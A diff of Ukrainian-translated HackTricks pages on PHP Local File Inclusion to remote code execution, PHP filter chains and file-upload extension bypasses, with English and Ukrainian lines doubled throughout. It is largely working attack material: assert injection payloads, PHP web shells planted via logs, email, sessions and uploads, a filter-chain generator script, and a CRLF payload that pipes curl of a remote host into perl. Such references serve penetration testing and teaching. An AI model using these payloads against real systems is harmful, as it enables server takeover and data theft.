- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Знаходить імена шляхів, що відповідають шаблону (Він не повертає нічого придатного для виводу, тому тут не дуже корисний)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Аудіопотоки (не корисно для читання довільних файлів)
## LFI via PHP's 'assert'
Ризики Local File Inclusion (LFI) в PHP особливо високі при роботі з функцією 'assert', яка може виконувати код, що міститься в рядках. Це особливо проблематично, якщо ввод, що містить символи обходу директорій, як-от "..", перевіряється, але не належним чином очищується.
## LFI через PHP 'assert'
Наприклад, PHP-код може бути спроєктований для запобігання обходу директорій ось так:
Local File Inclusion (LFI) risks in PHP are notably high when dealing with the 'assert' function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like ".." is being checked but not properly sanitized.
Ризики Local File Inclusion (LFI) у PHP особливо високі при роботі з функцією 'assert', яка може виконувати код у рядках. Це особливо проблематично, якщо введення, що містить символи directory traversal, такі як "..", перевіряється, але не належним чином санітизоване.
For example, PHP code might be designed to prevent directory traversal like so:
Наприклад, PHP-код може бути спроектований, щоб запобігти directory traversal таким чином:
```bash
assert("strpos('$file', '..') === false") or die("");
```
Хоча це має на меті запобігти traversal, воно ненавмисно створює вектор для code injection. Щоб експлуатувати це і прочитати вміст файлу, attacker може використати:
Хоча це має на меті зупинити traversal, воно ненавмисно створює вектор для code injection. Щоб використати це для читання вмісту файлу, зловмисник може використати:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
Аналогічно, для виконання довільних системних команд можна використати:
Аналогічно, для виконання довільних системних команд можна використовувати:
```plaintext
' and die(system("id")) or '
```
It's important to **URL-encode these payloads**.
Важливо **URL-encode these payloads**.
## PHP Blind Path Traversal
> [!WARNING]
> Ця техніка актуальна у випадках, коли ви **контролюєте** **шлях до файлу**, переданий **PHP function**, яка буде **доступатися до файлу**, але ви не побачите вміст файлу (наприклад простий виклик **`file()`**), оскільки вміст не відображається.
> Ця техніка застосовна у випадках, коли ви **контролюєте** **file path** для **PHP function**, яка буде **access a file**, але ви не побачите вміст файлу (наприклад простий виклик **`file()`**), хоча вміст не показується.
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
У [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) пояснюється, як blind path traversal може бути зловживано через PHP filter щоб **exfiltrate the content of a file via an error oracle**.
As sumary, the technique is using the **"UCS-4LE" encoding** to make the content of a file so **big** that the **PHP function opening** the file will trigger an **error**.
У короткому підсумку, техніка використовує кодування **"UCS-4LE"** щоб зробити вміст файлу настільки **великим**, що **PHP function**, яка відкриває файл, викличе **помилку**.
Then, in order to leak the first char the filter **`dechunk`** is used along with other such as **base64** or **rot13** and finally the filters **convert.iconv.UCS-4.UCS-4LE** and **convert.iconv.UTF16.UTF-16BE** are used to **place other chars at the beggining and leak them**.
Потім, щоб leak перший символ, використовується фільтр `dechunk` разом з іншими, такими як `base64` або `rot13`, і нарешті фільтри `convert.iconv.UCS-4.UCS-4LE` та `convert.iconv.UTF16.UTF-16BE` використовуються, щоб розмістити інші символи на початку та leak їх.
**Функції, що можуть бути вразливими**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
**Функції, які можуть бути вразливими**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
За технічними деталями див. згаданий пост!
Для технічних деталей див. згадану публікацію!
## LFI2RCE
### Arbitrary File Write via Path Traversal (Webshell RCE)
When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
Коли серверний код, який приймає/завантажує файли, будує шлях призначення, використовуючи дані під контролем користувача (наприклад, filename або URL) без канонізації та валідації, сегменти `..` та абсолютні шляхи можуть вийти за межі планованого каталогу і спричинити arbitrary file write. Якщо ви можете розмістити payload під web-exposed директорією, зазвичай ви отримуєте unauthenticated RCE, завантаживши webshell.
Типовий сценарій експлуатації:
- Виявити a write primitive в endpoint або background worker, який приймає a path/filename і записує вміст на диск (наприклад, message-driven ingestion, XML/JSON command handlers, ZIP extractors тощо).
- Визначити web-exposed директорії. Поширені приклади:
Типовий робочий процес експлуатації:
- Виявити write primitive в endpoint або background worker, який приймає path/filename і пише вміст на диск (наприклад, message-driven ingestion, XML/JSON command handlers, ZIP extractors тощо).
- Визначити web-exposed directories. Типові приклади:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- Сформувати traversal path, який виходить за межі наміченої директорії для збереження в webroot, і включити туди вміст вашого webshell.
- Перейдіть до розміщеного payload і виконайте команди.
- Скласти traversal path, який вийде з наміреного storage directory в webroot, і включити в нього вміст webshell.
- Відкрити завантажений payload у браузері та виконувати команди.
Примітки:
- Сервіс, що виконує запис, може слухати на non-HTTP порту (наприклад, a JMF XML listener на TCP 4004). Основний веб-портал (інший порт) згодом обслужить ваш payload.
- На Java-стеках такі записи файлів часто реалізуються простим конкатенуванням `File`/`Paths`. Відсутність канонізації/allow-listing — основний недолік.
- Вразлива служба, що виконує запис, може слухати на non-HTTP port (наприклад, JMF XML listener на TCP 4004). Головний веб-портал (інакший порт) пізніше віддаватиме ваш payload.
- На Java стеку ці записи файлів часто реалізовані простим конкатенуванням `File`/`Paths`. Відсутність canonicalisation/allow-listing — основний недолік.
Generic XML/JMF-style example (product schemas vary the DOCTYPE/body wrapper is irrelevant for the traversal):
```xml
@ -465,27 +495,26 @@ in.transferTo(out);
</Command>
</JMF>
```
Заходи жорсткого захисту, що нейтралізують цей клас помилок:
- Розвʼяжіть до канонічного шляху і забезпечте, щоб він був нащадком allow-listed base directory.
- Відхиляйте будь-який шлях, що містить `..`, absolute roots, або drive letters; віддавайте перевагу згенерованим іменам файлів.
- Запускайте записувач від імені низькоправового (low-privileged) облікового запису та розділяйте директорії для запису й served roots.
Захист, що усуває цей клас вразливостей:
- Вирішувати до канонічного шляху і гарантувати, що він є нащадком базового каталогу зі списку дозволених.
- Відхиляти будь-який шлях, що містить `..`, абсолютні корені або літери дисків; віддавати перевагу згенерованим іменам файлів.
- Запускати writer від імені облікового запису з низькими правами й відокремити каталоги для запису від коренів, що обслуговуються.
## Remote File Inclusion
Пояснювалося раніше, [**перейдіть за цим посиланням**](#remote-file-inclusion).
Пояснювалося раніше, [**follow this link**](#remote-file-inclusion).
### Via Apache/Nginx log file
Якщо сервер Apache або Nginx **вразливий до LFI** всередині функції include, ви можете спробувати отримати доступ до **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, записати в **user agent** або в **GET parameter** php-оболонку типу **`<?php system($_GET['c']); ?>`** і включити цей файл
Якщо сервер Apache або Nginx є **вразливим до LFI** всередині функції include, ви можете спробувати отримати доступ до **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, помістити в **user agent** або в **GET parameter** php shell на кшталт **`<?php system($_GET['c']); ?>`** і включити цей файл
> [!WARNING]
> Note that **if you use double quotes** for the shell instead of **simple quotes**, the double quotes will be modified for the string "_**quote;**_", **PHP will throw an error** there and **nothing else will be executed**.
> Зауважте, що **якщо ви використовуєте подвійні лапки** для shell замість **одинарних лапок**, подвійні лапки будуть змінені на рядок "_**quote;**_", **PHP викине помилку** і **нічого іншого виконано не буде**.
>
> Also, make sure you **write correctly the payload** or PHP will error every time it tries to load the log file and you won't have a second opportunity.
> Також переконайтеся, що ви **правильно записали payload**, інакше PHP буде видавати помилку щоразу при спробі завантажити файл логів, і у вас не буде другої можливості.
Це також можна зробити в інших логах, але **будьте обережні,** код всередині логів може бути URL encoded і це може зруйнувати Shell. Заголовок **authorisation "basic"** містить "user:password" у Base64 і декодується всередині логів. PHPShell можна вставити всередину цього заголовка.\
Інші можливі шляхи до логів:
Це також можна зробити в інших логах, але **будь обережні,** код всередині логів може бути URL encoded і це може зруйнувати Shell. Заголовок **authorisation "basic"** містить "user:password" у Base64 і він декодується в логах. PHPShell можна вставити в цей заголовок.\
Інші можливі шляхи логів:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
@ -501,51 +530,51 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
### Через Email
**Надішліть лист** на внутрішній акаунт (user@localhost), що містить ваш PHP payload, наприклад `<?php echo system($_REQUEST["cmd"]); ?>` і спробуйте включити його в пошту користувача шляхом, наприклад **`/var/mail/<USERNAME>`** або **`/var/spool/mail/<USERNAME>`**
**Надішліть лист** на внутрішній акаунт (user@localhost), що містить ваш PHP payload, наприклад `<?php echo system($_REQUEST["cmd"]); ?>`, і спробуйте включити пошту користувача, використовуючи шлях на кшталт **`/var/mail/<USERNAME>`** або **`/var/spool/mail/<USERNAME>`**
### Через /proc/*/fd/*
### Через /proc/\*/fd/\*
1. Завантажте багато shells (наприклад: 100)
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), де $PID = PID процесу (можна brute forced), а $FD — дескриптор файлу (також можна brute forced)
1. Завантажте велику кількість shells (наприклад: 100)
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), де $PID = PID процесу (можна brute forced) і $FD — файловий дескриптор (також можна brute forced)
### Через /proc/self/environ
Як і з лог-файлом, надішліть payload в User-Agent — він відобразиться у файлі /proc/self/environ
Як у лог-файлі, відправте payload у User-Agent — він буде відображений у файлі /proc/self/environ
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Через upload
### Через завантаження
Якщо ви можете upload файл, просто inject shell payload у нього (наприклад: `<?php system($_GET['c']); ?>`).
Якщо ви можете завантажити файл, просто інжектуйте shell payload у нього (наприклад: `<?php system($_GET['c']); ?>`).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
Щоб файл залишався читабельним, найкраще інжектувати в метадані зображень/doc/pdf
Щоб файл залишався читабельним, найкраще вставляти цю інформацію в метадані pictures/doc/pdf
### Через завантаження ZIP файлу
Завантажте ZIP файл, що містить стиснену PHP shell, і отримайте доступ:
Завантажте ZIP-файл, що містить стиснений PHP shell, і отримайте доступ:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### Через PHP sessions
Перевірте, чи сайт використовує PHP Session (PHPSESSID)
Перевірте, чи вебсайт використовує PHP Session (PHPSESSID)
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
У PHP ці сесії зберігаються у _/var/lib/php5/sess\\_\[PHPSESSID]\_ файлах
У PHP ці сесії зберігаються в _/var/lib/php5/sess\\_\[PHPSESSID]\_ файлах
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
Встановіть cookie як `<?php system('cat /etc/passwd');?>`
Встановіть cookie у `<?php system('cat /etc/passwd');?>`
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
Використайте LFI, щоб включити файл сесії PHP
Використайте LFI для включення файлу сесії PHP.
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
@ -553,58 +582,58 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
Якщо ssh активний, перевірте, який користувач використовується (/proc/self/status & /etc/passwd) і спробуйте отримати доступ до **\<HOME>/.ssh/id_rsa**
### **Через** **vsftpd** _**logs**_
### **Через** **vsftpd** _**журнали**_
Логи для FTP сервера vsftpd знаходяться за адресою _**/var/log/vsftpd.log**_. У випадку, коли існує Local File Inclusion (LFI) вразливість і можливий доступ до відкритого vsftpd сервера, можна розглянути такі кроки:
Журнали FTP-сервера vsftpd розташовані в _**/var/log/vsftpd.log**_. У випадку, якщо існує Local File Inclusion (LFI) вразливість і можливий доступ до відкритого vsftpd-сервера, можна розглянути такі кроки:
1. Впровадьте PHP payload у username field під час login process.
2. Після ін'єкції використайте LFI, щоб витягнути server logs з _**/var/log/vsftpd.log**_.
1. Інжектуйте PHP payload у поле username під час процесу входу.
2. Після інжекції використайте LFI, щоб витягти журнали сервера з _**/var/log/vsftpd.log**_.
### Через php base64 filter (using base64)
Як показано в [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter просто ігнорує Non-base64. Ви можете використати це для обходу перевірки розширення файлу: якщо ви подасте base64, який закінчується на ".php", він просто ігноруватиме "." і додасть "php" до base64. Ось приклад payload:
Як показано в [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter просто ігнорує символи, що не належать до base64. Ви можете скористатися цим, щоб обійти перевірку розширення файлу: якщо ви подасте base64, який закінчується на ".php", фільтр просто проігнорує "." і додасть "php" до base64. Ось приклад payload:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Через php filters (no file needed)
### Via php filters (no file needed)
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) пояснює, що ви можете використовувати **php filters to generate arbitrary content** як вивід. Це, по суті, означає, що ви можете **generate arbitrary php code** для include **without needing to write** його у файл.
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) пояснює, що ви можете використовувати **php filters to generate arbitrary content** як вихід. Це, по суті, означає, що ви можете **generate arbitrary php code** для include **without needing to write** його у файл.
{{#ref}}
lfi2rce-via-php-filters.md
{{#endref}}
### Через segmentation fault
### Via segmentation fault
**Upload** файл, який буде збережений як **temporary** у `/tmp`, потім в **the same request,** спровокуйте **segmentation fault**, після чого **the temporary file won't be deleted** і ви зможете його знайти.
**Upload** файл, який буде збережений як **temporary** у `/tmp`, потім в **same request,** спричиніть **segmentation fault**, і тоді **temporary file won't be deleted**, і ви зможете його знайти.
{{#ref}}
lfi2rce-via-segmentation-fault.md
{{#endref}}
### Через Nginx temp file storage
### Via Nginx temp file storage
Якщо ви знайшли **Local File Inclusion** і **Nginx** працює перед PHP, ви можете отримати RCE за допомогою наступної техніки:
Якщо ви знайшли **Local File Inclusion** і **Nginx** працює перед PHP, можливо, ви зможете отримати RCE за допомогою наступної техніки:
{{#ref}}
lfi2rce-via-nginx-temp-files.md
{{#endref}}
### Через PHP_SESSION_UPLOAD_PROGRESS
### Via PHP_SESSION_UPLOAD_PROGRESS
Якщо ви знайшли **Local File Inclusion**, навіть якщо у вас **don't have a session** і `session.auto_start` встановлено в `Off`. Якщо ви надасте **`PHP_SESSION_UPLOAD_PROGRESS`** у **multipart POST** даних, PHP **enable the session for you**. Це можна використати для отримання RCE:
Якщо ви знайшли **Local File Inclusion**, навіть якщо у вас **don't have a session** і `session.auto_start` встановлено `Off`. Якщо ви надасте **`PHP_SESSION_UPLOAD_PROGRESS`** у **multipart POST** даних, PHP **enable the session for you**. Ви можете зловживати цим, щоб отримати RCE:
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
### Через temp file uploads in Windows
### Via temp file uploads in Windows
Якщо ви знайшли **Local File Inclusion** і сервер працює на **Windows**, ви можете отримати RCE:
@ -613,22 +642,22 @@ via-php_session_upload_progress.md
lfi2rce-via-temp-file-uploads.md
{{#endref}}
### Через `pearcmd.php` + URL args
### Via `pearcmd.php` + URL args
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), скрипт `/usr/local/lib/phppearcmd.php` існує за замовчуванням у php docker образах. Крім того, можливо передавати аргументи скрипту через URL, оскільки зазначено, що якщо URL-параметр не має `=`, він повинен використовуватися як аргумент. Див. також [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) і [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), скрипт `/usr/local/lib/phppearcmd.php` присутній за замовчуванням у php docker images. Більш того, можливо передавати аргументи скрипту через URL, оскільки зазначено, що якщо URL-параметр не має `=`, він має використовуватися як аргумент. Див. також [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) і [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
Наступний запит створює файл у `/tmp/hello.php` з вмістом `<?=phpinfo()?>`:
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
Нижче показано, як зловживати CRLF vuln для отримання RCE (з [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
Наведено приклад зловживання CRLF vuln для отримання RCE (з [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
### Через phpinfo() (file_uploads = on)
### Via phpinfo() (file_uploads = on)
Якщо ви знайшли **Local File Inclusion** і файл, що показує **phpinfo()** з file_uploads = on, ви можете отримати RCE:
@ -637,34 +666,34 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
lfi2rce-via-phpinfo.md
{{#endref}}
### Через compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
Якщо ви знайшли **Local File Inclusion** і ви **can exfiltrate the path** тимчасового файлу, АЛЕ **server** **checking**, чи **file to be included has PHP marks**, ви можете спробувати **bypass that check** за допомогою цієї **Race Condition**:
Якщо ви знайшли **Local File Inclusion** і ви можете вивести шлях тимчасового файлу, АЛЕ **сервер** **перевіряє**, чи **файл для включення має PHP мітки**, ви можете спробувати **обійти цю перевірку** за допомогою цієї **Race Condition**:
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
{{#endref}}
### Через eternal waiting + bruteforce
### Via eternal waiting + bruteforce
Якщо ви можете зловживати LFI, щоб **upload temporary files** і змусити **server** **hang** виконання PHP, тоді ви можете **brute force filenames during hours**, щоб знайти тимчасовий файл:
Якщо ви можете зловживати LFI, щоб **завантажувати тимчасові файли** і змусити сервер **зависнути** виконання PHP, ви можете потім **перебиратиміть імена файлів методом bruteforce протягом годин**, щоб знайти тимчасовий файл:
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
### До Fatal Error
### To Fatal Error
Якщо ви включите будь-який з файлів `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Вам потрібно включити той самий файл 2 рази, щоб викликати цю помилку).
Якщо ви включите будь-який із файлів `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Потрібно включити той самий файл двічі, щоб викликати цю помилку).
**I don't know how is this useful but it might be.**\
_Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
**Я не знаю, наскільки це корисно, але можливо.**\
_Навіть якщо ви спричините PHP Fatal Error, тимчасові файли PHP, що були завантажені, видаляються._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
## References
## Посилання
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
@ -673,6 +702,7 @@ _Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
- [watchTowr We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
- [Orange Tsai Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
- [VTENEXT 25.02 a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#file}}
EN-Local-File-Inclusion-1.pdf

View File

@ -1,36 +1,37 @@
# LFI2RCE через PHP фільтри
# LFI2RCE via PHP Filters
{{#include ../../banners/hacktricks-training.md}}
## Вступ
Цей [**звіт**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) пояснює, що ви можете використовувати **php фільтри для генерації довільного контенту** як виходу. Це в основному означає, що ви можете **генерувати довільний php код** для включення **без необхідності записувати** його у файл.
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) пояснює, що можна використовувати **php filters для генерації довільного вмісту** для виводу. Це, по суті, означає, що ви можете **generate arbitrary php code** для include **без потреби записувати** його у файл.
Основна мета скрипту полягає в тому, щоб **згенерувати рядок Base64** на **початку** файлу, який буде **врешті-решт декодований**, надаючи бажане навантаження, яке буде **інтерпретовано `include`**.
Мета скрипта — **згенерувати Base64** рядок на **початку** файлу, який наприкінці буде **декодований**, забезпечивши потрібний payload, що буде **інтерпретований `include`**.
Основи для цього такі:
Основи для цього:
- `convert.iconv.UTF8.CSISO2022KR` завжди додасть `\x1b$)C` до рядка
- `convert.base64-decode` є надзвичайно толерантним, він в основному просто ігнорує будь-які символи, які не є дійсними base64. Це викликає деякі проблеми, якщо він знаходить несподіване "=", але їх можна видалити за допомогою фільтра `convert.iconv.UTF8.UTF7`.
- `convert.iconv.UTF8.CSISO2022KR` завжди додаватиме `\x1b$)C` на початок рядка
- `convert.base64-decode` дуже толерантний, він фактично просто ігнорує будь-які символи, що не є валідними для base64. Він створює проблеми, якщо знаходить непередбачені "=", але їх можна видалити за допомогою фільтра `convert.iconv.UTF8.UTF7`
Цикл для генерації довільного контенту:
Цикл для генерації довільного вмісту:
1. додати `\x1b$)C` до нашого рядка, як описано вище
2. застосувати деяку ланцюг конверсій iconv, яка залишає наш початковий base64 незмінним і перетворює частину, яку ми тільки що додали, в деякий рядок, де єдиним дійсним символом base64 є наступна частина нашого коду php, закодованого в base64
3. декодувати base64 і повторно закодувати рядок, що видалить будь-який сміття між
4. Повернутися до 1, якщо base64, який ми хочемо побудувати, ще не закінчений
5. декодувати base64, щоб отримати наш php код
1. додати на початок нашого рядка `\x1b$)C`, як описано вище
2. застосувати ланцюжок iconv-конверсій, що залишає наш початковий base64 незмінним і перетворює частину, яку ми щойно додали, у рядок, де єдиним валідним base64-символом є наступна частина нашого base64-кодованого php-коду
3. base64-decode і base64-encode рядок — це видалить будь-який "сміття" між частинами
4. Повернутися до кроку 1, якщо base64, який ми хочемо побудувати, ще не завершено
5. base64-decode, щоб отримати наш php-код
> [!WARNING]
> **Включення** зазвичай роблять такі речі, як **додавання ".php" в кінець** файлу, що може ускладнити експлуатацію цього, оскільки вам потрібно буде знайти .php файл з вмістом, який не знищить експлуатацію... або ви **можете просто використовувати `php://temp` як ресурс**, оскільки він може **мати що завгодно додано в ім'я** (наприклад, +".php") і це все ще дозволить експлуатації працювати!
> **Includes** usually do things like **appending ".php" at the end** of the file, which could diffecult the exploitation of this because you would need to find a .php file with a content that does't kill the exploit... or you **could just use `php://temp` as resource** because it can **have anything appended in the name** (lie +".php") and it will still allow the exploit to work!
## Як також додати суфікси до отриманих даних
[**Цей звіт пояснює**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) як ви все ще можете зловживати PHP фільтрами, щоб додати суфікси до отриманого рядка. Це чудово, якщо вам потрібно, щоб вихід мав певний формат (наприклад, json або, можливо, додавання деяких магічних байтів PNG)
[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) як ви все ще можете зловживати PHP filters, щоб додавати суфікси до отриманого рядка. Це корисно, якщо вам потрібно, щоб вивід мав специфічний формат (наприклад json або додавання PNG magic bytes).
## Автоматичні інструменти
- [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator)
- https://github.com/synacktiv/php_filter_chain_generator
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(може додавати суфікси)**
## Повний скрипт
@ -93,9 +94,9 @@ r = requests.get(url, params={
print(r.text)
```
### Поліпшення
### Покращення
Попередній скрипт обмежений символами base64, необхідними для цього payload. Тому я створив свій власний скрипт для **брутфорсу всіх символів base64**:
Попередній скрипт обмежувався лише символами base64, потрібними для цього payload. Тому я створив власний скрипт, щоб **bruteforce всі символи base64**:
```php
conversions = {
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
@ -164,7 +165,7 @@ conversions = {
'=': ''
}
```
Ось **скрипт** для отримання кодувань, які генерують кожну букву b64:
Ось **script**, щоб отримати кодування, які генерують кожну літеру b64:
```php
<?php
@ -250,9 +251,10 @@ find_vals($init);
}
?>
```
## Більше посилань
## Додаткові посилання
- [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,13 +1,13 @@
# File Upload
# Завантаження файлів
{{#include ../../banners/hacktricks-training.md}}
## File Upload General Methodology
## Загальна методологія завантаження файлів
Інші корисні розширення:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
@ -15,13 +15,13 @@
- **Perl**: _.pl, .cgi_
- **Erlang Yaws Web Server**: _.yaws_
### Bypass file extensions checks
### Обхід перевірок розширень файлів
1. Якщо це застосовно, **перевірте** **попередні розширення.** Також протестуйте їх, використовуючи деякі **великі літери**: _pHp, .pHP5, .PhAr ..._
1. Якщо застосовно, **перевірте попередні розширення.** Також протестуйте їх, використовуючи **великі літери**: _pHp, .pHP5, .PhAr ..._
2. _Перевірте **додавання дійсного розширення перед** виконуваним розширенням (використовуйте також попередні розширення):_
- _file.png.php_
- _file.png.Php5_
3. Спробуйте додати **спеціальні символи в кінці.** Ви можете використовувати Burp для **брутфорсу** всіх **ascii** та **Unicode** символів. (_Зверніть увагу, що ви також можете спробувати використовувати **раніше** згадані **розширення**_)
3. Спробуйте додати **спеціальні символи в кінці.** Можна використати Burp, щоб **bruteforce** всі **ascii** та **Unicode** символи. (_Зверніть увагу, що також можна спробувати використати **попередньо** згадані **розширення**_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@
- _file._
- _file.php...._
- _file.pHp5...._
4. Спробуйте обійти захист, **обманюючи парсер розширень** на стороні сервера за допомогою технік, таких як **подвоєння** **розширення** або **додавання сміттєвих** даних (**нульових** байтів) між розширеннями. _Ви також можете використовувати **попередні розширення** для підготовки кращого payload._
4. Спробуйте обійти захист, **обдуривши парсер розширень** на сервері за допомогою технік, таких як **подвійне** розширення або **додавання сміттєвих** даних (**null** байтів) між розширеннями. _Ви також можете використати **попередні розширення** для підготовки кращого payload'а._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -40,13 +40,13 @@
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. Додайте **ще один рівень розширень** до попередньої перевірки:
5. Додайте **ще один шар розширень** до попередньої перевірки:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
